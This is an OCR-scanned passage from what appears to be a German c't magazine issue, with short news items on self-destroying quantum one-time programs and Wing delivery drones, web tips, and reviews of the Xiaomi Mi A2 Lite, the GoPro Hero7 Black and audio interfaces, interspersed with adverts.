i RWTH Aachen und der Universitit des
i Saarlands berechneten, dass ihre Legie-
¢ rungund ihre Technik tausendmal schnel-
! ler arbeiten kann als aktuelle Flashspei-
i cher. Gleichzeitig soll sie sich auch hiufiger
! auslesen lassen.

(agr@ct.de)
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One-Time-Programme | News

Software zerstort sich selbst

In Wien haben Forscher erstmals Compu-
terprogramme realisiert, die nur einmal
ausgefiihrt werden konnen und sich an-
schliefdend selbst zerstoren. Zu diesem
Zweck verschliisselt die Forschungsgrup-
pe am Institut fiir Quantenoptik, Quan-
tennanophysik und Quanteninformation
ihre klassisch kodierte Software quanten-
mechanisch und setzt sie als Qubits in
Form einzelner Photonen um. Das Pro-
gramm wird durch Glasfaserleitungen
iibertragen und ist dazu gedacht, beim
Empfanger sensible Daten zu verarbeiten.
Der konkrete Programmcode bleibt dem
Empfinger verborgen.

»Wir nutzen in unserem Ansatz eine
quantenmechanische Verschliisselung des
Programmcodes®, berichtet Marie-Chris-
tine Rohsner, wissenschaftliche Mitarbei-
terin der Forschungsgruppe um Professor
Philip Walther. Jedes dabei eingesetzte
photonische Qubit kollabiert beim Aus-
lesen seines Zustands, die Struktur des
vollstindigen Programmcodes kann so
nicht rekonstruiert werden. Damit konnen
derartige Programme nicht missbraucht
werden und die ungewollte Weitergabe
von Daten wird ebenso verhindert.

Fiir Sicherheitsfunktionen eroffnen
die am Institut vorgefithrten One-Time-
Programme neue Moglichkeiten. Die For-
scher denken beispielsweise an einmalig
anwendbare Signaturen: Ein Sender konn-
te damit einem Empfianger die Vollmacht
erteilen, genau ein Dokument in seinem
Namen zu unterschreiben.

Eine ideale Umsetzung von selbstzer-
storenden Programmen sei physikalisch
gar nicht moglich, erkldrt Professor Wal-
ther. Allerdings funktioniert der quanten-

Bild: OAW, Klaus Pichler

Im Hybridcomputer
wird klassischer
Programmcode in
photonische Qubits
umgesetzt: eine
Photonenquelle

am Institut fiir
Quantenoptik.
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mechanische Ansatz auch nicht perfekt,

sondern probabilistisch; das heifdt, beim ||

Auslesen wird das gewiinschte Ergebnis ||

nur mit einer gewissen Wahrscheinlich-

keit ausgegeben. Die Forscher entwickel- -y

ten daher Verfahren der Fehlerkorrektur,

die die Fehlerrate unter beliebig geringe ||

Werte driicken konnen.

»Letztlich profitieren wir von den For-
schungen zu Quantencomputing, nutzen
aber lediglich die Techniken der Quanten-
mechanik, die bereits gut beherrscht wer-
den®, erldutert Rohsner. So ist beispiels-
weise die Ubertragung photonischer
Qubits in der Quantenkommunikation
bereits gut gelost.

Die Forscher setzen auf einen Hybrid-
ansatz zwischen klassischer Programmie-
rung und Quantentechnik. Dabei pro-
grammieren sie in Python und C. Jedes
klassische Logikgatter wird in eine festge-
legte Kombination aus Quantenzustinden
iibertragen. Konkret werden die Quanten-
zustande in bestimmte Polarisationsrich-
tungen einzelner Photonen {ibersetzt. Um
dies technisch umzusetzen, benétigt man
eine Quelle fiir einzelne Photonen - hier
kommen am Institut nichtlineare Kristalle
und ein Pumplaser zum Einsatz, die Pola-
risation wird durch einen sogenannten
Liquid Crystal Retarder manipuliert.

Der Empfianger benotigt Messgerite,
mit denen er die einzelnen Photonen in
unterschiedlichen Polarisationsrichtun-
gen ausmessen kann. Die erforderlichen
Gerite konnten in der Zukunft in einem
Gehiuse untergebracht werden, das nicht
grofier als ein handelsiiblicher PCist. Der
Einsatz wird damit sogar fiir kleine Unter-
nehmen denkbar. (agr@ct.de)
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Desinfec’t

Das Notfall-System fiir den Emstfall

Windows-P(s untersuchen und sdubern
Trojaner und Viren beseitigen
Daten retten und sofort wiederherstellen °

Auf DVD & als Download
fiir USB-Sticks

Auch auf USB-Stick B
erhéitlich! '

JETZT NEU! ¢'t wissen Desinfec't 2018/2019

Dank Desinfec't 2018/2019 analysieren Sie

Ihr bedrohtes Windows-System aus mehreren
Blickwinkeln: Viren aufspiiren, Hardware unter-
suchen, Daten sichern, Vier Viren-Scanner

und TeamViewer helfen lhnen auch bei der
Fernwartung.

Auch als Download erhaltlich.
shop.heise.de/desinfect2018-19

- shop.heise.de/desinfect2018-19

E=4 service@shop.heise.de

Generell portofreie Lieferung fiir Heise Medien- oder Maker Media
Zeitschriften-Abonnenten oder ab einem Einkaufswert von 15 €.

@ heise shop
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News | Autonome Lieferdrohnen

Autonome Luftfracht

Lieferdrohnen von Wing fliegen in Europa

Ab Friihjahr 2019 sollen die
Lieferdrohnen der Marke Wing
Nahrungsmittel, Medikamente und
andere Giiter in schwer erreichbare
Gegenden in Finnland fliegen.

Von Julius Beineke

D ie Wing-Leichtfrachtdrohnen der Al-
phabet-Tochter X Development LLC
(vormals Google X) liefern seit 2014 bei
Testldufen in den USA und Australien
Nahrungsmittel- und Medikamentenbe-
stellungen aus. Ab kommendem Friihjahr
sollen sie erstmals in Europa in die Luft
gehen und sich der widrigen Witterung in
Finnland stellen. Dort sind die Richtlinien
fiir Drohnenfliige deutlich laxer als in an-
deren europiischen Landern.

Senkrechtstarter

mit Seilwinde

Wing probierte in den vergangenen Jahren
viele Prototypen ihrer kleinen, unbe-
mannten Fluggerite (UAS) aus. Das aktu-
elle Modell dhnelt duflerlich einem Starr-
fligelflugzeug mit doppeltem Leitwerks-
triager und Tragflichen mit einem Meter
Spannweite, an denen zwei Propeller fiir
den Vortrieb sitzen. An den dufleren zwei
Rumpfpartien sind jeweils sechs kleine
Rotoren befestigt, die zusitzlich zur Trag-
flache fiir Auftrieb sorgen und senkrechte
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Starts und Landungen, Schwebeflug und
Bewegung in drei Dimensionen ermagli-
chen. In der zentralen Rumpfpartie ist der
Grofiteil der Sensorik und restlichen Elek-
tronik untergebracht. An einer Seilwinde
lasst sich mithilfe eines Haltemechanis-
mus Fracht von bis zu 1,5 Kilogramm Ge-
wicht in Form spezieller Papptiiten befes-
tigen. Der Haltemechanismus soll unter
anderem erkennen, wenn Fracht in der
Transporttiite ungleich verteilt ist, damit
die Drohne ihr Flugverhalten entspre-
chend anpassen kann.

Um fiir mehr Sicherheit zu sorgen,
landet der Wing-Flieger nicht, sondern
lasst im Schwebeflug die Winde herab und
zieht die befestigte Fracht hinauf. Der
Transport moglichst nah am Chassis mi-
nimiert die Windanfilligkeit und verbes-
sert das Gleichgewicht. Am Lieferort wird
die Tiite wieder abgeseilt und automatisch
abgestellt.

Aus Kunststoff sowie anderem ultra-
leichten Material produziert und komplett
elektronisch betrieben wiegt die Drohne
rund 5 Kilogramm und hat laut Wing eine
Reichweite von bis zu 20 Kilometern. In-
formationen dazu, wie lange sie tatsich-
lich in der Luft bleiben kann und wie sie
am Landeplatz wieder aufgeladen wird,
gibt es bislang nicht.

Per Project-Wing-App konnen Kun-
den Waren bei Anbietern bestellen, die mit
dem Drohnen-Dienstleister zusammenar-

Project-Wing-
Drohnen sind
ein Mix aus
Multikopter und
Propellerflug-
zeug und fliegen
leichte Fracht
automatisiert
direkt zum
Kunden.

— =
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Bild: X, The Moonshot Factory

Zwolf Rotoren, zwei Propeller:
Project-Wing-Drohnen transportieren
bis zu 1,5 Kilogramm Fracht

in adretten Papptaschchen.

beiten. Bei Testlaufen in Australien waren
das beispielsweise die Apothekenkette
Chemist Warehouse und die Restaurant-
kette Guzman y Gomez. Kunden geben in
der App auflerdem an, wo genau die Lie-
ferung ankommen soll - beispielsweise im
Hinterhof ihres Hauses. Von einem Lan-
deplatz in der Nihe startet eine Drohne
und fliegt autonom zum Warenanbieter,
der die Bestellung per Papptiite an die
schwebende Drohne hingt. Danach
schwirrt sie zur Lieferadresse. Besonders
fiir Lieferungen in nur schwer zugéngliche
Gebiete - wie das finnische oder australi-
sche Umland - bieten sich die Drohnen an.

Lieferprinzip und
UTM-Plattform

Ein Unmanned Traffic Management Plat-
form (UTM) genanntes System koordi-
niert und steuert die Drohnen. UTM ver-
waltet die Flieger vom Start bis zur Lan-
dung, berechnet Flugrouten und bertick-
sichtigt dafiir auch Hindernisse sowie
andere Drohnen im System. Die Drohnen
sollen sich in erster Linie per GPS orien-
tieren. Fiir den Fall, dass das mal nicht
funktioniert, sind auch eine Kamera und
weitere Sensoren an Bord, die behelfswei-
se einspringen konnen.

Laut Wing soll das System auch an-
deren Drohnenherstellern und Dienst-
leistern zur Verfiigung gestellt werden -
mit dieser Infrastruktur méchte man sich
in den nichsten Jahren die unteren hun-
dert Meter des Luftraums erschliefien.
Vom Einsatz des Systems in dichter be-
siedelten Gebieten Europas wie Deutsch-
land ist bei Wing bislang nichts zu lesen
oder zu horen. (jube@ct.de) c&
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Virtual Private Server .j STRATO

Das eigene WordPress-Orchester

dirigieren — mit All Flash SSD Power

v Volle Administrationsfreiheit V-Server
v Garantierte Ressourcen Linux V40
v Unlimitierter kostenfreier Traffic « 600 GB SSD

* 12 GB RAM garantiert

v Monitoring Service inklusive

v NEU: Debian 9 & Ubuntu 18.04 LTS

* 6 CPU vCores
* Anbindung bis zu 500 Mbit/s

nur 1 "' e

Laufzeit 12 Mon.

—

STRATO empfiehit!

JENIE IR |

Plesk Smart Updates
fur WordPress Toolkit

v Erstellen automatischer Backups Mehr Sicherheit bei Ihren WordPress Updates.
v Visueller und funktioneller Test durch Smart Updates Jetzt alle Vorteile sichern:

mit integrierter Kl
¥ Staging-Umgebung mit einem Klick o SOFORT
v Einfache Verwaltung mehrerer WordPress-Instanzen 1 0 /0 RABATT

Gutscheincode jetzt elnlasen unters: EsE
www.strato.de/server/plesk .
1%

STRATO
ab 4’7 6 €/Monat E .

]

SERVERSTANDORT

strato.de/server




Web-Tipps | Meme-Bot, Nachhaltigkeit, Leichte Sprache

Automatisch inspiriert

inspirobot.me

Meme-Generatoren finden sich im Internet an vielen Stellen.
Damit entsteht ganz fix aus einem aussagekriftigen Foto und
einem passenden Spruch das klassische Witzbild zum Weiter-
reichen im Web. Aber was, wenn die Inspiration fehlt? Dann
hilft InspiroBot. Hier muss man nur auf den ,,Generate"“-Knopf
klicken und warten, bis ein mehr oder weniger hiibsches Bild
samt Textbotschaft erscheint.

I'm InspiroBot.

Zum Gliick spuckt InspiroBot nur englische Spriiche aus.
Die klingen allein aufgrund der Sprache - man kennt das von
Songtexten - fast immer irgendwie geistreich. Tatsachlich pro-
duziert der Bot kompletten Unsinn: ,,without heritages there
can be no gambles® zum Beispiel, oder ,Find cake. Hype luck.”

Der ,Mindfulness Mode" bringt als Steigerung Videos. Sie
setzen sich aus Fotos plus Texten zusammen, die im ruhigen
Rhythmus vom jeweils ndchsten Meme abgeldst werden. Eine
Kunststimme liest die Spriiche vor, begleitet von Klangscha-
len-Gedongel oder meditativem Trommeln. Echte Inspiration
sollte man sich von dieser Webseite nicht erhoffen. Aber die
automatisch generierten Spriiche sind so schrig, dass man
beim Betrachten ganz schnell den Kopf frei bekommt fiir neue,
eigene Ideen. (dwi@ct.de)

Dem Konsum
einen Korb geben

www.nachhaltiger-warenkorb.de

Der Rat fiir Nachhaltige Entwicklung wird seit 2001 von der
Bundesregierung berufen. Ihm gehoren 15 Personen des offent-
lichen Lebens an. Mit dem Nachhaltigen Warenkorb will der
Rat Moglichkeiten fiir umweltbewussten Konsum aufzeigen.
Das Portal informiert zu Lebensmitteln, Mobilitat, Wohnen,
Haushalt, Elektronik, Mode und Kosmetik. Auflerdem kann
man sich iber unabhéngige Bewertungen, Siegel und Produkt-
kennzeichnungen informieren.

Ist Naturkosmetik gesiinder als konventionelle Kosmetik?
Wie nachhaltig ist der Bio-Apfel aus Ubersee? Fragen wie diese
werden hier ausfiithrlich beantwortet. Auflerdem kann man
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Broschiiren, Postkarten und Material fiir ein Brettspiel namens
,»Fleisch oder Fahrrad“ herunterladen, das mit Fragen und Ant-
worten insbesondere Jugendliche fiir das Thema Nachhaltig-
keit sensibilisieren soll. (dwi@ct.de)

Nimms leicht

leichte-sprache.de

https://hurraki.de

languagetool.org/de/leichte-sprache

nachrichtenleicht.de

brandeins.de/zugabe/rubriken/leichte-sprache

Texte sind haufig kompliziert. Dann fallt es manchen Men-
schen schwer, den Inhalt zu verstehen. ,,Leichte Sprache® soll
helfen, auch komplizierte Sachverhalte fiir jedermann zuging-
lich zu machen. Das Netzwerk Leichte Sprache nennt die
Grundregeln: kurze Sitze, keine Fremdworter und konsequent
Genitiv, Passiv, Konjunktiv vermeiden. Hurraki, ein Worter-
buch fiir leichte Sprache im Stil eines Wikis, hilft Einsteigern
bei der Wortwahl. Ob ein Text verstandlich formuliert ist, kann
man auf der Website LanguageTool checken lassen. Der Her-
steller der gleichnamigen Software fiir Grammatik- und Recht-
schreibpriifung bietet eine kostenlose Uberpriifung an, bei der
zu lange Worter, zu komplizierte Sitze und Verben im Passiv
farbig markiert werden. Einen offiziellen Standard der leichten
Sprache gibt es allerdings noch nicht.

‘ C Man darf nicht im Miill von anderen Leuten
wiihlen.

In jede Tonne kommt ein anderer Mill,
Darauf muss man achten.

@ 3
C c Es geht vorbei

Manchmal kriegen Beamte einen neven
Chef. Daos ist aufregend fir Beomte.

Da es bei der leichten Sprache insbesondere um gesell-
schaftliche Teilhabe geht, bieten etliche TV-und Radiosender
auf ihren Webseiten auch einfach formulierte Nachrichten -
nachrichtenleicht beispielsweise ist der Wochenriickblick des
Deutschlandfunks in leichter Sprache. Und die Kollegen vom
Wirtschaftsmagazin brand eins erzéhlen in jeder Ausgabe
Texte in leichter Sprache nach, mal einen Romanausschnitt
und mal Passagen aus einer Abfallbehilterbenutzungsverord-
nung. Das ebenso verbliiffende wie amiisante Ergebnis findet
sich online in der Rubrik Zugabe auf der Website des Maga-
zins. (dwi@ct.de)

Diese Seite mit klickbaren Links: ct.de/y4qq
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So einfach kann’s sein!

Hinkommen
Vertrag unterschreiben
Karriere starten europaweit®

NTT Security

Triff 500 Cyber Security Experten an einem Tag auf der NTT Security University 2019.

Wir sind das auf Sicherheit spezialisierte Unternehmen und ,Security Center of Excellence” O
der NTT Group. NTT Security verflgt Uber 10 SOCs, sieben Zentren fur Forschung und Entwicklung % Q
sowie mehr als 1.500 Sicherheitsexperten weltweit und behandelt jghrlich Hunderttausende i Q N
Sicherheitsvorfalle auf sechs Kontinenten. \\ Q
Wir laden Dich ein zu einem persdnlichen Kennenlernen und geben Dir die Chance, é ?
gleich vor Ort den Arbeitsvertrag zu unterschreiben. Q N
Komm mit Deinem CV vom 24.-25.01.2019 ins Scandic Berlin Hotel am Potsdamer Platz. Q
Wir freuen uns auf Dich! Details findest Du auf unserer Website: 'b\(’ b'

i
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Test | Budget-Smartphone

Gunstiger Akkuprotz

Xiaomi-Smartphone Mi A2 Lite im Test

Die bisher hierzulande eher
unbekannten Xiaomi-Handys sind
seit Kurzem bei vielen Handlern
zu finden - etwa bei Media Markt
und Saturn. Das giinstigste ist das
Xiaomi Mi A2 Lite mit schlankem
Android und groBem Akku. Ein
Schnéppchen fiir 180 Euro oder
ein typisches Billighandy?

Von Robin Brand

D as Mi A2 Lite kommt im Unterschied
zum teureren Schwestermodell (Mi
A?2) mit langsamerer Hardware und Notch
im etwas kleineren Display. Auf der ande-
ren Seite punktet es mit grofierem Akku
und Kopthorerbuchse. Beiden gemein ist
als Betriebssystem das schlanke Android
One. Das garantiert zwei Jahre lang Up-
dates auf die neueste Android-Version
und drei Jahre regelméflige Sicherheits-
patches.

Das Mi A2 Lite ist wertig verarbeitet.
Die unschonen Unterbrechungen durch
die Antennenlinien fallen aber negativ
auf. Der 4000-mAh-Akku ist im Wort-
sinne ein dickes Paket. Die schlanke Linie
von High-End-Smartphones halt das Mi
A2 Lite nicht. Insgesamt liegt das Gerit
gut in der Hand.

Im Mi A2 Lite arbeitet ein Qual-
comm-Snapdragon-625-Prozessor. Die
Performance liegt im Bereich anderer Ein-
steigerhandys. Auf Augenhdhe ist etwa
das HTC Desire 12+. Auch vor dem teure-
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ren Lenovo Motorola One muss sich das
Mi A2 Lite nicht verstecken.

Meist schnell genug
Im Alltag fallen Verzogerungen allenfalls
im direkten Vergleich mit potenteren
Smartphones auf. Kamera-, Messenger-
oder News-Apps Offnen sich zligig. Dank
4 GByte RAM geht das Handy auch nicht
in die Knie, wenn der Nutzer zwischen
mehreren gleichzeitig ge6ffneten Apps
hin- und herwechselt. Insgesamt iiber-
zeugt die Leistung fiir ein Handy, das we-
niger als 200 Euro kostet. Fiir etwa 160
Euro ist die Version mit 3 GByte RAM und
32 GByte Speicher erhiltlich - die Erspar-
nis von etwa 20 Euro lohnt sich eher nicht.
Viel hatten wir uns vom tippig dimen-
sionierten Akku versprochen - und tat-
sdchlich liefert Xiaomi einen Spitzenwert
beim WLAN-Surfen ab. Satte 16,4 Stun-
den hilt es durch. Keine Bestmarken er-
reicht das Smartphone beim Spielen und
Filme schauen. Fiir ein Smartphone seiner
Preisklasse fallen die gemessenen Werte
aber allesamt mehr als in Ordnung aus.
Uber den Tag bringt es seine Besitzer auf
jeden Fall, und langer als die Konkurrenz
in derselben Preisklasse halt es durch.
Nichts zu beméingeln gibt es am Sys-
tem, das Mi A2 Lite lduft mit Android One.
Xiaomi verzichtet fast ginzlich auf eigene
Apps, beispielsweise eine fiir den Infrarot-
sender ist installiert. Weit entfernt ist das
System von der stark angepassten,
quietschbunten hauseigenen Benutzer-
oberfliche MIUI Das LCD-Panel des Xi-

aomi ist ausreichend hell und dank hoher
Auflosung gestochen scharf. Als Schwiche
des Smartphones stellt sich die Kamera
heraus. Abseits bester Lichtverhéltnisse
werden die Fotos grisselig. Auch in gut
ausgeleuchteten Innenrdumen misslingen
Schnappschiisse ofters. Zur Wahrheit ge-
hort aber auch: Wer hohere Anspriiche an
seine Smartphone-Kamera stellt, wird in
dieser Preisklasse nicht flindig.

Fazit

Abstriche miissen Kiufer - klassentiblich -
bei der Kamera machen. Ein NFC-Chip fiir
kontaktloses Bezahlen fehlt. Diesen hat das
teurere Mi A2. Deutlich bessere Fotos gibt
es erst in der nachsthoheren Preiskatego-
rie, etwa beim Nokia 7 Plus fiir rund 280
Euro. Fur den Alltag ist das gilinstige
Smartphone von Xiaomi ausreichend
schnell. Aufderdem ist das Mi A2 Lite gut
verarbeitet, und der Akku hélt lange durch.
In der Klasse unter 200 Euro ist es eine
Empfehlung wert. (rbr@ct.de) &

Xiaomi Mi A2 Lite
[soape

Betriebsystem/ Sicher- Android 8.1.0 / 1. Nov. 2018
heitspatch

Prozessor / Keme Qualcomm Snapdragon 625 / 8 X 2 GHz
Grafik Qualcomm Adreno 506

Arbeitsspeicher / Flash- 4 GByte / 64 GByte (53,04 GByte)
Speicher (frei)

Dual-Sim / Typ v/ / nanoSIM (microSD zusétzlich)
WLAN!/ Antennen WiFi4/1

Bluetooth / NFC / 4.2 [ — / GPS, Glonass, Beidou
Standortbestimmung

LTE-Kanéle VINININVIN I-I-
1/3/1/8/20/28/32

Fingerabdrucksensor v (Riickseite)

USB- / Kopfhorer-Buchse ~ Micro-USB (USB 2.0) / v/

Akku / Ladezeit 4000 mAh /2,6 h

Abmessungen 14,9 cm x 7,15 ¢cm X 0,95 cm /

(H X BXT)/ Gewicht 176 ¢

Kameraaufldsung / 12MP /22—
Blende / 0IS
Hauptkamera Videos 4K/ — / /(30 fps)
FullHD
Frontkamera Aufldsung / 5 MP/ /2
Blende
‘ Display-Messungen
Technik / Diagonale LCD (IPS) / 5,8 Zoll
(GroRe) (13,4 cm X 6,35 cm)
Auflosung / Seitenverhalt. 2280 x 1080 Pixel / 19:9

Helligkeit / Ausleuchtung  1,7...451 cd/m?/ 89,6 %

‘ Laufzeit-Messungen

Video lokal / Streaming /  12,7h/11,6h/7h/164h
3D-Spiel / WLAN?

Preis 180 €
LWiFi 4 = 802.11n
/ vorhanden

2 gemessen bei 200 cd/m?

— nicht vorhanden
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Intel Inside®. New possibilities outside i n tel

Intel und das Intel-Logo sind Marken der Intel Corporation oder ihrer Tochtergesellschaften in den USA und/oder anderen Landern.

Basierend auf der von Dell EMC in Aufirag gegebenen Forrester TEI-Studie ,Improved Performance And Cost Efficiency Enabled By The Dell EMC All-Flash Storage Portfolio®, vom September 2017.
Die Ergebnisse basieren auf einer zusammengesetzten Organisation, die aus (4) Kundenbefragung aufgebaut wurden und sind ein Vergleich zu traditionellem Festplattenspeicher.
https:/iwww.dellemc.com/de-de/storage/data-storage. himiti=m&overlay=/collateral/analyst-reporis/forrester-all-flash-fel-multi-company-case-study, pdf



GoPros

Comeback

4K-Action-Cam GoPro Hero7 Black

Filmen bei Action erfordert eine
leistungsfihige Bildstabilisierung,
und hier legt die neue GoPro
entscheidend zu. Die Live-Uber-
tragung ldsst Freunde beim
nachsten Abenteuer mitfiebern.

So summieren sich die kleinen
Verbesserungen der Hero7 zu
einem groBBen Entwicklungssprung.

Von Hannes A. Czerulla

s ist ruhig geworden um die einst boo-

menden Action-Cams. Die GoPro
Hero7 konnte die Lust am Filmen nun
wiederbeleben. Wie ihre Vorginger gibt
es sie in den drei Versionen White, Silver
und Black, die sich nicht nur in der Gehiu-
sefarbe unterscheiden, sondern auch in
der Ausstattung. Wir haben das Spitzen-
modell Black getestet. Es hat einen Sensor
mit 12 Megapixel, nimmt 4K-Videos mit
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bis zu 60 fps auf und schiefdt aufder JPEG-
auch RAW-Bilder. Der Sony-Sensor-Chip
stammt vom Vorginger Hero6, doch
wurde um ihn herum viel verbessert.

Videoqualitit

Die Hero-Modelle der vorigen Jahre hin-
gen den Geriten von Konkurrent Sony
technisch hinterher. Grund war haupt-
sichlich die ausgezeichnete Bildstabilisie-
rung der Sony-Kameras. Genau in diesem
Punkt hat GoPro bei der Hero7 massiv
nachgeriistet. Obwohl sich in Bezug auf
Farben, Dynamik und generelle Bildge-
staltung nur wenig im Vergleich zum Vor-
ginger getan hat, steigt die Aufnahme-
qualitat dadurch deutlich.

Der Hersteller spricht von ,,Hyper-
Smooth® und einer Gimbal-&hnlichen Sta-
bilisierung. Einen optischen Bildstabilisa-
tor hat die Hero7 nicht, sondern arbeitet
wie viele Smartphone-Kameras mit Soft-
ware-Algorithmen. Dabei wird das Bild
ein wenig beschnitten. Tatsichlich ist die
Funktion bei leichten Bewegungen dhn-

lich leistungsfihig wie echte Hardware-
Gimbals. Hilt man die Kamera beispiels-
weise beim Laufen in der Hand, bleibt das
Bild fast vollkommen verwacklungsfrei.
Im Test montierten wir die Action-Cam
unter anderem an einem Downhill-Moun-
tainbike und fuhren Strecken mit hol-
prigen Wurzelpassagen und gewagten
Spriingen. Vor allem Vibrationen und klei-
nere Bewegungen schluckte Hyper-
Smooth fast vollstindig; grobere ruckar-
tige Bewegungen glittete die Automatik
zumindest stark und deutlich besser als
ihr Vorgéanger. Eine Grenze wird bei hef-
tigen Vibrationen und ausschweifenden
Bewegungen erreicht, hier halt die digitale
Stabilisierung nicht mehr mit einem Hard-
ware-Gimbal mit.

Beim Objektiv handelt es sich mit
einer Brennweite von 17 Millimetern um
ein Super-Weitwinkel. Dadurch ist der
Blickwinkel extrem breit und es kommt zu
einem verzerrenden Fischaugeneffekt. In
Action-Cam-Videos hat sich dieser Look
mittlerweile zum obligatorischen Stilele-
ment entwickelt. Wiinscht man sich aber
ein verzeichnungsfreies Bild, muss man
mit Hilfe von professioneller Videoproduk-
tions-Software nachbearbeiten. In niedri-
geren Auflosungen kann man das Sichtfeld
auf ,linear stellen; die Verzeichnung zu
den Ecken ist dann deutlich geringer.

Sowohl Videos als auch Fotos sind
tendenziell warm abgestimmt und zeigen
einen Hang zum Rotlichen. Die Qualitit
entspricht der von Mittelklasse-Smart-
phones.

Speziell flir Fotos bei Dunkelheit oder
generell fiir Motive mit hoher Dynamik
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hat GoPro die Funktion ,,SuperFoto“ inte-
griert. Hinter dem Marketing-Begriff ver-
birgt sich eine leicht aufgebohrte HDR-
Funktion. Sie nimmt bei suboptimaler Be-
leuchtung tatsichlich mit aufdergewdhn-
lich hoher Dynamik bei praxistauglicher
Verschlusszeit auf. Allerdings zeigen die
Aufnahmen deutliches Rauschen, was die
Verwendbarkeit begrenzt.

Bedienung

Das Gehiuse der Hero7 Black ist nun tat-
sédchlich schwarz und mit einer Art Gum-
mierung tiberzogen. Das macht sie griffig
und dédmpft Stof3e. Allerdings ist die Ober-
flache kratzempfindlich. Ohne zusétzli-
chen Schutz ist die Hero7 bis zu 10 Meter
Tiefe wasserdicht. Man kann sie also pro-
blemlos abspiilen nach einem Matschbad.
Mitgeliefert wird lediglich ein Plastikrah-
men, in den man die Kamera schnallt. Er
schiitzt vor allem die Ecken und Kanten,
verdeckt aber den USB-Anschluss, sodass
man die Kamera jedes Mal herausnehmen
muss, um sie zu laden.

Zwei Tasten hat die Kamera, eine zum
Einschalten, eine zum Starten und Stoppen
der Aufnahme. Beide sind auch mit Hand-
schuhen bedienbar. Fummelig wird es,
wenn man weitere Einstellungen vorneh-
men mochte. Denn das funktioniert iiber
den nur 2 Zoll grofden Touchscreen. Fiir
seine Grofde lasst er sich einigermafden gut
bedienen, da die Schaltflichen grof genug
sind und Scrollbewegungen zuverléssig
registriert werden. Die Bedienoberfliche
reagiert manchmal trége.

Videos und Fotos lassen sich bereits
auf der Kamera iberpriifen. Kreative
Moglichkeiten eroffnen die Zeitlupen-
(240 fps) und verschiedenen Zeitraffer-
Modi. Praktisch ist auch, dass man bereits
Sequenzen als Highlight markieren kann,
sodass man sie spater schnell wieder-
findet.

Ganz stabil lief die Software der Ka-
mera nicht: Mehrmals hing sie sich beim
Booten auf und aktivierte nur die Bild-
schirmhintergrundbeleuchtung, zeigte
aber nichts an. Auch beim Sichten der ge-
drehten Videos fror die Bedienoberfliche
gelegentlich ein. Wiederbeleben konnten
wir die Hero nur, indem wir den Akku ent-
nahmen. Stimmkommandos nimmt die
Kamera auch entgegen, etwa ,,GoPro,
Foto machen". Im Test verstand uns die
Kamera nicht immer.

Wie eh und je hat die Hero kein Stan-
dard-Stativgewinde, sondern eine pro-
prietire Halterung am mitgelieferten
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Um die Hero7 liber den
proprietdaren Anschluss mit
Zubehor zu verbinden, muss
man die Kamera erst in den
mitgelieferten Rahmen
stecken.

Schutzrahmen. Mittlerweile gibt es fiir
wenig Geld Unmengen an Zubehor aus
Fernost zu kaufen, beispielsweise Brust-
und Kopfgurte, Saugnépfe, Helm-, Fahr-
rad- und Universalhalterungen.

App

Fiir Android und iOS gibt es eine passende
Smartphone- und Tablet-App. Die Gerite
verbinden sich via WLAN. Die App zeigt
unter anderem das Live-Bild der Kamera
und dient als Fernbedienung. Bereits auf-
genommene Fotos und Videos tibertragt
man kabellos aufs Mobilgerit und pumpt
sie anschlieflend beispielsweise in die so-
zialen Netzwerke. Eine rudimentére Vi-
deobearbeitung findet sich ebenfalls.

Die App ermoglicht es auflerdem, Vi-
deos live ins Netz zu streamen. Als Platt-
formen stehen Facebook und YouTube
zur Verfiigung - und ein RTMP-Stream
(Real-Time Messaging Protocol), der mit
Flash-Playern oder auf YouTube ange-
schaut werden kann. Ohne Smartphone
als Verbindungsglied zum WLAN oder
Mobilfunknetz funktioniert Live-Strea-
ming nicht.

Mit einer Akkuladung konnten wir im
Test 46 Minuten Video in 4K-Auflésung
mit 60 fps aufnehmen. Auflerdem ist der
kompakte Akku mit 1220 mAh einfach
austauschbar. Weitere Akkus kosten rund
23 Euro, fiir rund 60 Euro bekommt man
ein Doppelladegerit inklusive zusitzli-
chem Akku. Ansonsten wird der Akku in
der Kamera per USB Typ-C geladen.

Fazit

GoPro hat seine Hausaufgaben gemacht
und beim Schwachpunkt Bildstabilisator
kraftig nachgebessert. Mit der 400 Euro

Actioncam | Test

teuren Hero7 Black hat GoPro die Konkur-
renten wieder eingeholt und Gbertrifft sie
in vielen Aspekten sogar. Wer eine gute
Action-Cam sucht, kann bei der Hero7 be-
denkenlos zugreifen. Auch fiir Besitzer
der Vorgangermodelle lohnt sich der Um-
stieg allein wegen der verbesserten Bild-
stabilisierung. Hinzu kommt die deutlich
komfortablere Bedienoberflache.

Mit der Hero7 Silver und White gibt
es zwei preiswertere Versionen der Kame-
ra. Sie kosten 100 beziehungsweise 200
Euro weniger als die Black. Die Unter-
schiede: Sie haben beide kein LCD an der
Front und einen anderen Sensor-Chip mit
10 Megapixel. Die Silver-Version nimmt
zwar in 4K-Auflésung auf, aber nur mit 30
fps, die White-Variante nur in Full-HD mit
60 fps. (hcz@ct.de) €€

GoPro Hero7 Black
(orCam |

Hersteller GoPro, www.gopro.com

Sony IMX277 / 1/2,3
4K (60 fps) / 12 MP (4000 x 3000)

Sensor / GroRe
Auflésung Video / Foto

Aufnahmewinkel max. 170 Grad

Audio-Aufnahme Stereo

Display Grofe / Aufiosung ~ TFT 2 Zoll / 480 x 320 Pixel
Wasserdicht bis 10 m

Bildstabilisator digital

Anschliisse USB Typ-C, Micro-HDMI, 3,5 mm
Klinke (per Adapter)

GPS / Bluetooth / WLAN VIVIV

Wechselspeicher MicroSDXC

Lieferumfang Akku, Rahmen, Klebehalterungen,

Kabel USB Typ-C

Akkulaufzeit 46 min

MaRe 6,2 cm X 4,4 cm X 3,3 cm
Gewicht 17¢

Preis 400 €
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Musikzentralen

Praktische Audio-Interfaces mit Lautsprecher-Steuerung

Das Audient iD44 und das Mackie
Big Knob Studio+ locken mit
iippigen Umschaltméglichkeiten
fiir Abhormonitore. Doch wie
wirken sich die saftigen
Preisunterschiede auf den

Klang aus?

Von Hartmut Gieselmann

F ortgeschrittene Musiker und Produ-
zenten horen ihre Musik nicht nur auf
einer Abhdranlage ab, sondern wechseln
zwischendurch gerne die Lautsprecher. So
konnen sie beispielsweise priifen, wie die
Musik auf grofden und kleinen Systemen
klingt. Besonders praktisch sind dazu
Audio-Interfaces, an denen man die Aus-
ginge direkt umschalten kann, ohne in
der Software zu fummeln.

Mackie hat seine Big-Knob-Serie um
drei Modelle erweitert. Das hier getestete
grofdte Modell Studio+ fiir rund 270 Euro
erlaubt das Umschalten zwischen drei
Lautsprecherpaaren nebst separater Laut-
